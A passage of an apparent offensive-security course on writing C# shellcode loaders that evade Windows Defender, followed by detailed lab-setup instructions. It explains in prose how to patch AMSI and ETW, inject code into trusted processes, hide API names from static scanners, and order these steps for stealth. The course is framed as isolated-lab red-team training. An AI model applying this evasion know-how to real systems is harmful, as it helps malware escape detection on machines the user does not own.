This loader finds NT function addresses while the program is running (so the compiled binary's import table does not contain suspicious function names), reads the syscall numbers from the function code, and executes the syscalls directly.

What you learn:

- How the Windows API call chain works (user code to kernel32 to ntdll to kernel)
 - What a syscall number is (each kernel function has a unique number that changes between Windows versions)
 - Why Defender hooks ntdll.dll and not kernel32.dll (ntdll.dll is the last stop before the kernel in user-mode code)
 - How to read syscall numbers from ntdll.dll function code at runtime
 - How dynamic API resolution works (finding function addresses while the program runs instead of declaring them in the import table)
-

1.4.4 Loader 04 - AMSI Bypass

File: lab/loaders/04_amsi_bypass.cs

AMSI is loaded into every program that uses .NET, PowerShell, VBScript, or JavaScript. The key function is AmsiScanBuffer in amsi.dll. When a script or .NET code is about to run, the runtime calls AmsiScanBuffer with the content. AmsiScanBuffer passes the content to Defender, which returns a verdict (clean or malicious).

This loader patches AmsiScanBuffer in RAM by overwriting its first few bytes with instructions that immediately return a “clean” result without actually scanning anything.

The function names (“AmsiScanBuffer”, “amsi.dll”) are not stored as plain text in the .exe file on your hard drive. You can open that compiled .exe in Notepad and you will NOT see “AmsiScanBuffer” anywhere in the file. Instead, those names are built at runtime from integer arithmetic, assembled character by character in RAM only when the program runs. Defender's file scanner reads the .exe on your hard drive and finds nothing to match against.

What you learn:

- How AMSI works at the function level (which DLL, which function, what the parameters are)
 - What memory patching means (overwriting a function's code in RAM to change its behavior)
 - Why you need to change RAM permissions before patching (code in RAM is read-only by default, you need VirtualProtect to make it writable)
 - How to build strings at runtime to avoid static detection (integer offset math)
 - Why AMSI patching should happen AFTER ETW patching (the AMSI patch itself generates ETW events that Defender can read)
-

1.4.5 Loader 05 - Reflective Injector

File: lab/loaders/05_reflective_injector.cs

Instead of running your code in your own program, this loader writes your code into the RAM of another program that is already running. You pick a program that Windows trusts, like explorer.exe (the desktop and taskbar) or svchost.exe (a system service host).

The process:

1. Open a connection to that program's RAM space
2. Allocate RAM inside it
3. Write your shellcode into that RAM
4. Create a thread inside that program to run it

This loader teaches the cross-process injection TECHNIQUE, but **Defender will catch this loader on its own**. It uses `DllImport` for `WriteProcessMemory` and `CreateRemoteThread`, which puts those function names in the import table. Defender watches for the `OpenProcess` + `VirtualAllocEx` + `WriteProcessMemory` + `CreateRemoteThread` combination specifically. To use cross-process injection without getting caught, you need to combine it with dynamic API resolution and ETW/AMSI patching from Loaders 03, 04, and 07. Loader 08 (combined evasion) does exactly that.

What you learn:

- How `OpenProcess` gives you access to another program's RAM space
- How `VirtualAllocEx` allocates RAM inside another program (the "Ex" means external, meaning another program)
- How `WriteProcessMemory` copies bytes from your program into another program
- How `CreateRemoteThread` creates a thread inside another program that starts running your shellcode
- Why running inside a legitimate process provides cover (when combined with other evasion techniques)
- Why cross-process injection alone is not enough (Defender watches for the API combination)

1.4.6 Loader 06 - Early Bird APC Injection

File: `lab/loaders/06_process_hollowing_alt.cs`

Classic process hollowing (creating a program, removing its code, replacing it with malicious code) is heavily detected. Defender specifically watches for that pattern. Early Bird APC injection achieves the same goal through a different path.

This loader creates a legitimate Windows program (like `svchost.exe`) in a **SUSPENDED** state. The program exists but has not executed a single instruction yet. It is frozen.

Then the loader:

1. Allocates RAM inside this frozen program
2. Writes shellcode into it
3. Queues the shellcode address as an **APC** (Asynchronous Procedure Call) on the program's main thread

An APC is a function that Windows queues to run on a specific thread. When the loader unfreezes the thread, Windows processes the queued APC first, which means your shellcode runs before the legitimate program's own code ever starts.

The name "Early Bird" comes from the fact that your code runs at the very beginning of the process's life, before the process has loaded its own DLL files.

Like Loader 05, **this loader on its own gets caught by Defender**. It uses `DllImport` for `CreateProcess`, `VirtualAllocEx`, `WriteProcessMemory`, and `QueueUserAPC`, which all show up in

the import table. The `CREATE_SUSPENDED` + `write` + `QueueUserAPC` + `ResumeThread` sequence is a known injection pattern that Defender watches for. To use APC injection without getting caught, you combine it with the evasion techniques from Loaders 03, 04, and 07, which is what Loader 08 does.

What you learn:

- How `CREATE_SUSPENDED` works (the program is created but its main thread is frozen)
 - What an APC is (a function that Windows queues to run on a specific thread)
 - How this differs from process hollowing (no code removal, no suspicious `NtUnmapViewOfSection` call)
 - Why the APC technique itself is less suspicious than `CreateRemoteThread` (APCs are a normal Windows mechanism), but the `DllImport` pattern still gets caught
 - Why injection techniques need to be combined with evasion techniques (dynamic API resolution, ETW/AMSI patching) to actually work
-

1.4.7 Loader 07 - ETW Patch

File: `lab/loaders/07_etw_patch.cs`

ETW is the logging system that feeds information to Defender and other security products. Every running program generates ETW events through the `EtwEventWrite` function in `ntdll.dll`. Even if your shellcode bypasses file scanning, AMSI, and API hooks, the ETW events still report what your program did.

This loader patches `EtwEventWrite` the same way Loader 04 patches `AmsiScanBuffer`: it overwrites the function's first bytes with instructions that return success immediately without actually writing any events.

Execution order matters. This loader is designed to run FIRST, before any other evasion technique. If you patch AMSI first and then patch ETW, the AMSI patching generates ETW events that Defender can read. If you patch ETW first, then patch AMSI, the AMSI patching is invisible because ETW is already silent.

What you learn:

- What ETW is and why it matters for detection (the logging system feeding Defender and every EDR product)
 - Which function to patch (`EtwEventWrite` in `ntdll.dll`)
 - Why the execution order matters (ETW first, then AMSI, then everything else)
 - How the patch works (the patch bytes set the return value to 0, which means success, and return immediately)
 - The limitation of this approach (kernel-mode ETW, which runs inside the Windows kernel itself, cannot be patched from a regular program)
-

1.4.8 Loader 08 - Combined Evasion Loader

File: `lab/loaders/08_combined_evasion.cs`

This is the final loader. It combines every technique from Loaders 01 through 07 into a single program that runs in the correct order for maximum stealth:

1. **Patch ETW** - silence the logging system so nothing that follows gets logged

2. **Patch AMSI** - disable content scanning so .NET and PowerShell content is not checked
3. **Read and XOR-decrypt** the shellcode in RAM (nothing malicious exists on the hard drive)
4. **Dynamic API resolution** - find NT function addresses at runtime using GetProcAddress and integer math for function names (no suspicious strings in the compiled binary)
5. **Two-step RAM allocation** - request RAM as read-write first, write the shellcode, then change permissions to execute-read (avoids having RAM that is both writable and executable)
6. **Execute** - run the shellcode using NtCreateThreadEx for local execution, or write it into another program for injection

Every function name that would normally appear in the compiled binary's import table is found while the program runs instead. You can open the compiled .exe in Notepad and the import table shows only neutral function names — the real Windows function names like “NtAllocateVirtualMemory” and “NtCreateThreadEx” are never written into the file on your hard drive. All text output uses generic terms instead of evasion terminology.

What you learn:

- How to layer multiple evasion techniques in the correct order
- Why order matters (ETW before AMSI, decryption before execution)
- How dynamic API resolution keeps suspicious function names out of the compiled file
- How to build function name strings at runtime using integer offset math
- How the two-step RAM allocation (read-write then execute-read) avoids behavioral detection
- How all the individual techniques combine to defeat multiple Defender layers at the same time

1.5 How This Gets You a Red Team Job

This is not just a coding exercise. Every technique in this curriculum maps directly to skills that red team job postings require and that interviewers test for.

Custom tooling development. Every serious red team job posting lists “ability to develop custom tools” or “C#/.NET offensive development” as a required skill. Companies like CrowdStrike, Mandiant, SpecterOps, TrustedSec, NetSPI, and Praetorian want operators who can write their own tools.

When Defender catches a public tool, operators who can only run public tools are stuck. Operators who can write custom loaders adapt and keep going. After this curriculum, you can write custom loaders from scratch.

Understanding Defender internals. Interview questions for red team positions often include:

- “Explain how AMSI works and how you would bypass it”
- “What is ETW and why does it matter for detection?”
- “Describe the Windows API call chain from user mode to kernel mode”

This curriculum teaches you the actual mechanism behind each of these, not just the bypass. You will understand the detection, the evasion, and the trade-offs.

Threat validation and OPSEC. Red team operators need to test their tools before using them on a real engagement. “Did you test this against Defender before running it on the client's network?” is a question you should always be able to answer yes to.

This curriculum teaches you how to scan your binaries with YARA rules, strings analysis, and PE metadata inspection to identify exactly which bytes get flagged and how to fix them. That is the OPSEC (operational security) discipline that separates professional operators from script kiddies.

Portfolio evidence. After completing this curriculum, you will have 8 working loaders on your GitHub that demonstrate real evasion techniques with teaching comments explaining every line. This is concrete evidence of your skills that a hiring manager can read and evaluate.

“I wrote a custom C# loader that uses direct syscalls and dynamic API resolution to bypass Defender on a fully updated Windows 11 machine” is a stronger interview answer than “I used Cobalt Strike.”

The salary difference is real. Entry-level security analysts who run vulnerability scanners make \$70K-\$90K. Red team operators who can write custom evasion tooling in C# make \$150K-\$220K+ in the US market, and \$125-\$150/hr as contractors. The difference is the ability to develop custom tools that work against modern detection. That is exactly what this curriculum teaches.

1.6 Prerequisites

You do not need programming experience. Document 02 teaches C# from scratch. But you do need:

Required knowledge:

- Basic computer literacy (installing software, navigating folders, using a terminal)
- You know what an IP address is and what a port is
- You have used Windows before (you know what Task Manager is, how to run programs from the command line)

Required hardware:

- A computer with at least 24 GB of RAM (three VMs run at the same time)
- At least 150 GB free disk space
- A processor with virtualization support (Intel VT-x or AMD-V, nearly all modern CPUs have this)

Required software (installed in Document 01):

- VMware Workstation Pro (free for personal use)
- Windows 11 Pro ISO (free from Microsoft)
- Kali Linux ISO (free from kali.org)
- Visual Studio 2022 Community (free, installed on the dev box VM)
- .NET 6 SDK or later (installed with Visual Studio)

1.7 Lab Environment

The lab is three virtual machines on an isolated network. This mirrors a real red team engagement where you have a separate machine for building your tools, a separate machine for generating payloads and running listeners, and the target machine where you test your tools against real defenses.

Lab Network: 192.168.10.0/24

[Your Host Machine]

|

[VMware Pro]

|

+--- [Dev Box: 192.168.10.150]

|

- Windows 11 Pro

|

- Visual Studio 2022 Community installed

|

- .NET 8 SDK (or latest)

|

- Defender DISABLED (so compiled loaders are not quarantined)

|

- Username: ammulu

|

- This is where you COMPILE loaders. No testing here.

|

+--- [Target: 192.168.10.100]

|

- Windows 11 Pro, fully updated, all patches applied

|

- Defender ON: real-time scanning, cloud protection,
automatic updates, AMSI, ETW - everything at default

|

- No dev tools installed (no Visual Studio, no .NET SDK)

|

- Username: kimjongun

|

- This is the TARGET machine where loaders RUN

|

+--- [Kali Attacker: 192.168.10.200]

- Latest Kali build

- msfvenom (generates shellcode payloads)

- python3 (hosts files for transfer via HTTP)

- smbclient (transfers files via Windows shares)

- This is the ATTACKER machine where payloads are created

The workflow is: generate shellcode on Kali, transfer it to the dev box, compile the loader on the dev box, transfer the compiled binary and encrypted shellcode to the target, and run the loader on the target. This separation is realistic because in a real engagement you never compile your malware on the machine you are attacking.

Defender stays enabled with default settings on the target machine for the entire curriculum. You never disable it, never add exclusions, never weaken any setting.

1.8 Curriculum Structure (11 Documents)

Document	Title	What You Learn
00	Introduction (this)	Why C#, how Defender works, what you will build, how this gets you hired
01	Lab Setup	Build Windows 11 and Kali VMs, install all tools, verify networking
02	C# Basics	Variables, types, loops, functions, arrays, byte manipulation - taught through security examples
03	Windows API	P/Invoke, DllImport, calling VirtualAlloc/CreateThread from C#, how .NET talks to the Windows kernel

Document	Title	What You Learn
04	Memory Fundamentals	Process memory layout, virtual memory, VirtualAlloc, WriteProcessMemory, memory protection flags, thread creation
05	Shellcode Loader	Generate shellcode with msfvenom, build Loader 01, Defender catches it, understand exactly what was flagged
06	Encoding Evasion	XOR encryption, build Loader 02, encrypted file survives disk scanning but loader still gets caught by other layers
07	Direct Syscalls	Windows API call chain, syscall numbers, build Loader 03, bypass Defender's ntdll.dll hooks (first loader that survives)
08	AMSI Bypass	How AMSI scans .NET and PowerShell, build Loader 04 + Loader 07, patch AmsiScanBuffer and EtwEventWrite
09	Reflective Injection	Process injection techniques (Loaders 05 and 06), Defender catches these alone, learn the technique for combining later
10	Combined Evasion	Build Loader 08 (all techniques combined), first fully stealthy callback with Defender at default settings
11	Real World Scenarios	How these techniques work in actual red team engagements, what works against EDR, operational planning

Do them in order. Each document assumes you have completed the previous ones. Document 07 (Direct Syscalls) references RAM allocation from Document 04. Document 10 (Combined Evasion) combines everything from Documents 05 through 09. Skipping ahead means the code and explanations will not make sense.

1.9 How Each Document Teaches Code

Every document uses the same teaching method. You never see a full program dumped on you at once. Instead:

1. You see 2-3 lines of code
2. The document explains what those lines do, why they are needed, and what happens when they run
3. You see the next 2-3 lines with the same treatment
4. This continues until the entire program is covered
5. Then the complete program is shown in full so you see how all the pieces connect

Every technical term is explained the first time it appears. Nothing is assumed.

1.10 Folder Structure

```
lab/
  loaders/          <- All 8 C# loader source files with teaching comments
```

```
01_shellcode_loader.cs
02_xor_encoder.cs
03_direct_syscalls_loader.cs
04_amsi_bypass.cs
05_reflective_injector.cs
06_process_hollowing_alt.cs
07_etw_patch.cs
08_combined_evasion.cs
materials/          <- These 11 teaching documents
  00_intro.md       through 11_real_world_scenarios.md
scripts/           <- Helper scripts for testing and validation
```

1.11 Rules

- 1. Defender stays on.** If your code gets caught, that is data. Fix your code, not Defender. Disabling Defender is not evasion.
- 2. Lab only.** Every loader runs in your isolated lab. Do not run any of this on machines you do not own and do not have explicit written permission to test.
- 3. Understand every line.** Each loader is explained line by line so you understand the mechanism. Copy-pasting without understanding means you cannot adapt when Defender updates its signatures.
- 4. Test everything.** After building each loader, transfer it to the target (kimjongun, 192.168.10.100) and run it with Defender active. Verify it works. If it gets caught, understand why and fix it.
- 5. Signatures change.** Defender updates regularly. A technique that works today might get caught next month. The goal is understanding the mechanism so you can develop new by-passes when current ones stop working. That adaptability is the actual skill.

1.12 What Comes Next

Start with Document 01 (lab/materials/01_lab_setup.md). It walks you through building all three VMs (target, dev box, and Kali), installing Visual Studio on the dev box, disabling Defender on the dev box, setting up the network, and verifying that everything works. No code until the lab is ready.

Document 01: Lab Setup

2.1 Where We Are

You have read Document 00 and you understand the full picture: why C# is the right language for Windows evasion, how Defender's 6 detection layers work, what each of the 8 loaders does, and how this curriculum connects to real red team jobs. You have not installed or set up anything yet.

At this point you know:

- C# gives you direct access to Windows functions through P/Invoke
- Defender uses static file scanning, cloud analysis, AMSI, API hooks, ETW logging, and behavioral analysis
- You will build 8 loaders, each targeting a specific detection layer
- You need three virtual machines: a Windows 11 dev box for compiling loaders, a Windows 11 target for running loaders against Defender, and a Kali Linux attacker for generating shellcode and running listeners

You need a host machine with at least 24 GB RAM, 150 GB free disk, and a CPU with virtualization support (Intel VT-x or AMD-V).

2.2 Why This Is Next

Every loader in this curriculum compiles on a dedicated dev box (a Windows 11 machine with Visual Studio installed) and then gets transferred to a separate Windows 11 target machine that has Defender enabled. The shellcode payloads come from msfvenom on a Kali machine. All three machines communicate over an isolated network where you can test without affecting your real network or the internet.

If the lab is wrong, nothing else works. A wrong network configuration means your shellcode's reverse connection cannot reach Kali, so you will think your loader failed when actually the network is broken. A missing .NET SDK on the dev box means you cannot compile. An outdated Defender on the target means you are testing against old signatures, and your loaders will work in the lab but fail on a real target. This document gets the infrastructure right so every subsequent document works the first time.

The lab also teaches you something that matters on real engagements: the three-machine workflow. On a real red team engagement, you have your development machine (where you build your tools and compile payloads), your attacker machine (where you generate shellcode, run listeners, and receive connections), and the target machine (the client's system you are testing). You never compile your malware on the target. You build it on your own dev machine,

transfer only the final binary to the target, and run it there. The lab mirrors this exactly. Learning to work across three machines, transfer files, and manage connections is an operational skill you will use on every engagement.

2.3 How This Works

2.3.1 What a Virtual Machine Is

A virtual machine (VM) is a software simulation of a complete computer. Your real computer (the host) runs software called a hypervisor that creates one or more virtual computers (guests) inside it. Each guest has its own operating system, its own hard drive (stored as a file on the host), its own network adapter (simulated by the hypervisor), and its own share of RAM. The guest operating system does not know it is virtual. It runs exactly like a real computer.

VMware Workstation Pro is the hypervisor you will use. It creates a layer between your host hardware and the guest operating systems, giving each guest its own isolated environment. The reason we use VMs instead of real machines is control: you can snapshot a VM at any point and restore it to that exact state later. A snapshot saves the entire state of the VM, including all files, all running programs, all settings, everything. If a loader does something unexpected, you restore the snapshot and you are back to exactly where you were. On a physical machine, you would need to reinstall the OS.

2.3.2 What a Host-Only Network Is

VMware lets you create virtual networks that exist only inside the hypervisor. A host-only network connects VMs to each other but does not connect them to the internet or to your host machine's real network. This isolation is critical:

- Your shellcode payloads make network connections (reverse shells call back to the attacker machine). On a host-only network, those connections stay inside the hypervisor. If you accidentally used a bridged network (which connects to your real network), your shellcode could try to connect to real machines on your network.
- Defender's cloud protection sends file hashes to Microsoft for analysis. On a host-only network with no internet, cloud protection cannot reach Microsoft. This is actually a realistic scenario because many enterprise networks restrict outbound connections. However, for the most accurate testing, you can optionally give the target VM internet access through a NAT adapter for Defender updates only, then switch back to host-only for testing.
- Nothing you do in the lab affects anything outside the lab. This is a safety boundary that protects your real environment.

All three VMs will be on the network 192.168.10.0/24. That means all IP addresses start with 192.168.10 and the subnet mask is 255.255.255.0. The /24 means the first 24 bits of the address are the network portion, which is a standard notation you will see everywhere in networking. The dev box gets 192.168.10.150, the target gets 192.168.10.100, and Kali gets 192.168.10.200.

2.3.3 What Defender's Default Configuration Looks Like

When you install Windows 11 and do not change any security settings, Defender runs with these protections:

- **Real-time protection:** Every time a file is created, downloaded, or modified on the hard drive, Defender scans it immediately. When your compiled loader .exe lands on the hard drive, Defender scans it before you can even run it.

- **Cloud-delivered protection:** When Defender sees a file it does not recognize, it sends a hash (a unique number calculated from the file's bytes, like a fingerprint) to Microsoft's cloud for analysis. The cloud has machine learning models and a larger signature database. If the cloud says the file is malicious, Defender blocks it.
- **Automatic sample submission:** Defender can send the actual file (not just the hash) to Microsoft for deep analysis. This is enabled by default.
- **Tamper protection:** Prevents programs from modifying Defender's settings, disabling its services, or patching its DLL files. This is why our AMSI bypass patches `amsi.dll` inside our own program's RAM space rather than trying to modify Defender itself.
- **Controlled folder access:** Protects common folders (Documents, Desktop, etc.) from unauthorized modifications by unknown programs.
- **Exploit protection:** Enforces security features like DEP (Data Execution Prevention, which stops the CPU from running code in RAM that is marked as data-only), ASLR (Address Space Layout Randomization, which loads DLL files at random RAM addresses each time the computer boots), and CFG (Control Flow Guard, which prevents code from jumping to unexpected addresses).

All of these stay at their default settings throughout the curriculum. You will not change, disable, or weaken any of them. This matters because when you test a loader and it works, you know it works against real production security. If you disabled cloud protection or real-time scanning, your results would not reflect reality.

2.4 What Defender Does

During lab setup specifically, Defender does two things that affect you:

1. **It scans downloaded files.** When you download Visual Studio, .NET SDK, or any other installer, Defender scans the downloaded file. This is normal and will not interfere with your setup.
2. **It may quarantine compiled loaders later.** When you compile a loader later in the curriculum, Defender may quarantine the resulting `.exe` or `.dll` if it detects it as malicious. This is expected. Defender detecting your loader is not a problem. It is information that tells you your loader needs more evasion work. During lab setup, this is not relevant because you are not compiling any loaders yet.

2.5 The Evasion Technique

There is no evasion technique in this document. Lab setup is infrastructure work. Evasion begins in Document 05 when you build your first shellcode loader. However, the lab setup decisions you make here directly affect how your loaders will behave:

- The host-only network means your reverse shell payloads will connect to 192.168.10.200 (Kali). If the network is misconfigured, the shells will not connect.
- The Defender configuration determines what your loaders need to bypass. If you weakened Defender, your loaders would work in the lab but fail in the real world.
- The .NET SDK version determines which C# features are available. We target .NET 6 or later because it supports the unsafe code blocks and Marshal operations our loaders need.

2.6 Getting the Loader Onto the Target

No loader exists yet. This section applies starting from Document 05. For now, you need to set up file transfer between Kali and Windows so it is ready when you need it.

The two file transfer methods you will use throughout this curriculum are:

1. **Python HTTP server on Kali:** You run `python3 -m http.server 8080` on Kali, which starts a web server that serves files from the current directory. On Windows, you download files using a browser or PowerShell's `Invoke-WebRequest`. This is how most red team engagements deliver initial payloads, through HTTP/HTTPS downloads.
2. **SMB file sharing:** Windows natively supports SMB (Server Message Block) file shares. SMB is a protocol (a set of rules for communication) that Windows uses for sharing files and folders over a network. You create a shared folder on Windows, and Kali accesses it using `smbclient`. This is bidirectional, meaning you can upload files from Kali to Windows and download files from Windows to Kali. SMB is useful when you need to quickly move files back and forth during testing.

Both methods are set up and tested in this document so they are ready when loaders start getting compiled.

2.7 Teaching the Code

There is no code to teach in this document. This is infrastructure setup. The first code appears in Document 02 (C# Basics).

However, you will run one verification command at the end to confirm the .NET SDK is working:

```
using System;

class Program
{
    static void Main()
    {
        Console.WriteLine("Build toolchain is working.");
    }
}
```

This program does nothing interesting. It exists only to verify that the `dotnet` command can compile and run C# code on your dev box (ammulu, 192.168.10.150).

2.8 Setting Up VMware Workstation Pro

2.8.1 Step 1: Download and Install VMware

VMware Workstation Pro became free for personal use in 2024. Download it from the official VMware website (now part of Broadcom). Run the installer on your host machine and accept the default settings.

After installation, open VMware Workstation Pro. You will see the home screen with options to create virtual machines.

2.8.2 Step 2: Verify Hardware Virtualization

VMware requires hardware virtualization (Intel VT-x or AMD-V) enabled in your host machine's BIOS/UEFI. The BIOS is a program stored on your motherboard that runs before your operating system loads. It controls basic hardware settings. Without virtualization enabled in the BIOS, VMs will be extremely slow or will not start at all.

To check if virtualization is enabled on your host:

1. Open Task Manager (Ctrl + Shift + Esc)
2. Click the Performance tab
3. Click CPU
4. In the bottom-right section, look for “Virtualization: Enabled”

If it says “Disabled”:

1. Restart your computer
2. Enter BIOS/UEFI settings (the key varies by manufacturer: F2, Del, F10, F12, or Esc during boot. Your motherboard manual or a quick search for your model will tell you which key)
3. Find the virtualization setting (it is usually under CPU Configuration, Advanced, or Security)
4. Enable it (the setting name varies: “Intel Virtualization Technology”, “Intel VT-x”, “AMD-V”, “SVM Mode”)
5. Save and exit BIOS

2.8.3 Step 3: Create the Host-Only Network

Before creating VMs, set up the isolated network:

1. In VMware, go to Edit > Virtual Network Editor
2. Click “Change Settings” (requires admin permissions)
3. You should see a host-only network (usually VMnet1). If not, click “Add Network” and select a network, then set its type to “Host-only”
4. Configure the network:
 - Subnet IP: 192.168.10.0
 - Subnet mask: 255.255.255.0
 - Uncheck “Connect a host virtual adapter to this network” (this prevents your host from being on the lab network)
 - Uncheck “Use local DHCP service to distribute IP addresses” (you will assign fixed IPs instead of automatic ones)
5. Click Apply and OK

This creates an isolated virtual switch that only your VMs can access. No traffic reaches the internet or your real network.

2.9 Setting Up the Windows 11 Target Machine

The target machine is where your compiled loaders will run against Defender. This machine does NOT have Visual Studio or the .NET SDK installed. It only runs binaries. This is realistic because on a real engagement, the target machine is the client’s computer and it does not have your development tools on it.

2.9.1 Step 1: Download the Windows 11 ISO

Go to Microsoft’s website and download the Windows 11 ISO. An ISO is a single file that contains an exact copy of an installation disc. Select Windows 11 (multi-edition), choose your language, and download the 64-bit version. The file is approximately 5-6 GB. You will use this same ISO for the dev box VM later.

2.9.2 Step 2: Create the Virtual Machine

In VMware:

1. Click “Create a New Virtual Machine”
2. Select “Custom (advanced)”. Do not use “Typical” because you need to control the hardware settings
3. Hardware compatibility: select the latest available version
4. Select “Installer disc image file (iso)” and browse to the Windows 11 ISO you downloaded
5. If VMware asks about Easy Install or product key, skip those screens
6. VM name: **Win11-Target**
7. Choose a storage location with at least 60 GB free space
8. Processors: 2 processors, 2 cores each (4 total cores). Windows 11 needs at least 2 cores. If your host has 8+ cores, you can give the VM more.
9. Memory: **8192 MB (8 GB)** if your host has 24+ GB RAM. Minimum is 4096 MB (4 GB), but 8 GB gives smoother performance. Windows 11 needs more RAM because Defender’s real-time scanning and cloud analysis run constantly in the background.
10. Network: Select “Use host-only networking” and make sure it points to the host-only network you created (VMnet1 or whichever network has the 192.168.10.0 subnet)
11. SCSI controller: LSI Logic SAS (default)
12. Disk type: NVMe (faster) or SCSI (default)
13. Create a new virtual disk, 60 GB, store as single file
14. Click Finish

Before powering on, edit the VM settings:

1. Go to VM > Settings
2. Under Options > Advanced, make sure “Firmware type” is set to UEFI (Windows 11 requires UEFI, not legacy BIOS)
3. Under Hardware > Add, add a “Trusted Platform Module” (TPM) if VMware prompts you. Windows 11 requires TPM 2.0. A TPM is a security chip that stores encryption keys. VMware can simulate this chip in software.

2.9.3 Step 3: Install Windows 11

Power on the VM. The Windows 11 installer starts:

1. Select your language, time format, and keyboard layout. Click Next.
2. Click “Install now”
3. “Activate Windows” screen: click “I don’t have a product key”. Windows 11 works without a key for testing purposes. It will show a watermark but all features work.
4. Select **Windows 11 Pro**. Not Home. Pro has features (like Remote Desktop and Group Policy Editor) that matter for security testing.
5. Accept the license terms
6. Choose “Custom: Install Windows only (advanced)”
7. Select the 60 GB unallocated drive and click Next
8. Wait 15-30 minutes for installation

During the out-of-box experience (OOBE), which is the first-time setup wizard that runs after Windows installs:

1. Select your country/region

2. Select your keyboard layout
3. When asked to connect to a network: **choose “I don’t have internet”** and then “Continue with limited setup”. This is critical because it lets you create a local account instead of a Microsoft account. A local account is simpler for lab purposes.
4. Enter the name: **kimjongun**
5. Set a password you will remember (you will need it for SMB transfers and logins)
6. Set the security questions (required by Windows)
7. On the privacy settings screens, turn everything off (location, diagnostics, inking, advertising). These are not relevant for the lab and reducing them lowers background network noise.

2.9.4 Step 4: Install VMware Tools

VMware Tools is a set of drivers and utilities that improves the VM experience: better display resolution, shared clipboard, drag-and-drop file support, and better performance.

1. In VMware’s menu bar, click VM > Install VMware Tools
2. This mounts a virtual DVD in the VM
3. Open File Explorer, navigate to the DVD drive (usually D:)
4. Run setup64.exe
5. Follow the installer with default settings
6. Restart the VM when prompted

After restart, you should be able to resize the VM window and the display resolution adjusts automatically. The mouse should also move smoothly between host and guest without pressing Ctrl+Alt.

2.9.5 Step 5: Update Windows Fully

This step is important. You want the latest Defender signature database and the latest Windows security features.

1. Open Settings > Windows Update
2. Click “Check for updates”
3. Install all available updates
4. Restart when prompted
5. Check for updates again after restarting
6. Repeat until “You’re up to date” shows with no pending updates

This process may take 30-60 minutes depending on how many updates are available. Some updates require multiple restarts. Be patient and keep checking until Windows says it is fully current.

2.9.6 Step 6: Verify Defender Configuration

Open Windows Security (click the shield icon in the system tray at the bottom-right of your screen, or search for “Windows Security” in the Start menu):

Virus & threat protection:

- Real-time protection: ON
- Cloud-delivered protection: ON
- Automatic sample submission: ON

- Tamper protection: ON

Click “Virus & threat protection updates” and then “Check for updates” to get the latest Defender signature database.

Firewall & network protection:

- Firewall should be ON for all profiles. Do NOT disable it. Later, you may need to allow specific rules for ping or specific ports, but the firewall stays active.

App & browser control:

- Smart App Control: this may be set to “Evaluation” on a fresh install. Leave it as-is.
- SmartScreen: ON

Device security:

- Core isolation > Memory integrity: this may or may not be on depending on your CPU. Leave it at its default.

Do not change any of these settings. The entire point is testing against production Defender. Take a note of all the settings so you can verify they have not changed during testing.

2.9.7 Step 7: Set a Static IP Address

The target machine needs a fixed IP address so Kali and the dev box always know where to find it.

1. Open Settings > Network & Internet > Ethernet
2. Click the network adapter (it should be the VMware host-only adapter)
3. Click Edit next to “IP assignment”
4. Change from “Automatic (DHCP)” to “Manual”
5. Toggle on IPv4
6. Enter:
 - IP address: **192.168.10.100**
 - Subnet prefix length: **24** (this is the same as subnet mask 255.255.255.0)
 - Gateway: leave blank
 - Preferred DNS: leave blank
7. Click Save

To verify, open Command Prompt and run:

```
ipconfig
```

You should see the Ethernet adapter with IP 192.168.10.100 and subnet mask 255.255.255.0.

2.9.8 Step 8: Take a Snapshot

Take a snapshot of the target VM in its clean state.

1. In VMware, go to VM > Snapshot > Take Snapshot
2. Name it: “Clean - Lab Ready”
3. Add a description: “Windows 11 Pro, fully updated, Defender active, no dev tools, IP 192.168.10.100”

4. Click Take Snapshot

If anything goes wrong later (a loader corrupts the system, you accidentally change a Defender setting, etc.), you can restore this snapshot and be back to a known-good state in seconds.

Important: Do NOT install Visual Studio or the .NET SDK on this machine. The target machine only runs compiled binaries. All compilation happens on the dev box.

2.10 Setting Up the Windows 11 Dev Box

The dev box is your malware development machine. This is where Visual Studio 2022 and the .NET SDK are installed. You compile all loaders here, then transfer only the compiled .exe files and encrypted shellcode to the target machine.

2.10.1 Step 1: Create the Virtual Machine

You will use the same Windows 11 ISO you downloaded earlier.

In VMware:

1. Click “Create a New Virtual Machine”
2. Select “Custom (advanced)”
3. Select “Installer disc image file (iso)” and browse to the same Windows 11 ISO
4. VM name: **Win11-DevBox**
5. Choose a storage location with at least 60 GB free space
6. Processors: 2 processors, 2 cores each (4 total cores)
7. Memory: **8192 MB (8 GB)** if your host has 24+ GB RAM. You can use 4096 MB (4 GB) if RAM is tight, since Defender will be disabled on this machine and Visual Studio does not need 8 GB.
8. Network: **Use host-only networking** (the same host-only network, 192.168.10.0 subnet)
9. Disk: 60 GB, store as single file
10. Click Finish

Before powering on, edit VM settings and set UEFI firmware and add a TPM, same as you did for the target machine.

2.10.2 Step 2: Install Windows 11

Follow the same Windows 11 installation steps as the target machine, with one difference:

During the OOBE (first-time setup):

4. Enter the name: **ammulu** (not kimjongun, that is the target machine)
5. Set a password you will remember

Everything else is the same: local account, privacy settings off.

2.10.3 Step 3: Install VMware Tools

Same process as the target machine. Install VMware Tools, restart.

2.10.4 Step 4: Install Visual Studio 2022 Community

This is where the development tools go. Not on the target.

1. Open Edge browser in the dev box VM
2. Temporarily add a NAT network adapter in VMware (VM > Settings > Add > Network Adapter > NAT) for internet access
3. Go to visualstudio.microsoft.com
4. Download Visual Studio 2022 Community
5. Run the installer
6. On the Workloads screen, check:
 - **.NET desktop development** (this installs the C# compiler, .NET SDK, and development tools for building console applications)
7. Click Install. Wait for the 5-8 GB download and installation to complete.
8. Launch Visual Studio once to complete initial setup (sign in or skip, choose a theme)
9. Close Visual Studio after initial setup

After Visual Studio is installed, remove the NAT network adapter:

1. Go to VM > Settings
2. Select the NAT network adapter you added
3. Click Remove
4. Click OK

The dev box is now back to host-only networking.

2.10.5 Step 5: Verify the .NET SDK

Open a Command Prompt or PowerShell on the dev box and run:

```
dotnet --version
```

You should see version 8.0.x or later. If `dotnet` is not recognized, go back to Visual Studio Installer and verify the .NET desktop development workload is installed.

Also verify the C# compiler:

```
dotnet --list-sdks
```

This should show at least one SDK version installed.

2.10.6 Step 6: Set a Static IP Address

1. Open Settings > Network & Internet > Ethernet
2. Click the network adapter (VMware host-only adapter)
3. Click Edit next to "IP assignment"
4. Change from "Automatic (DHCP)" to "Manual"
5. Toggle on IPv4
6. Enter:
 - IP address: **192.168.10.150**
 - Subnet prefix length: **24**
 - Gateway: leave blank
 - Preferred DNS: leave blank
7. Click Save

Verify with:

```
ipconfig
```

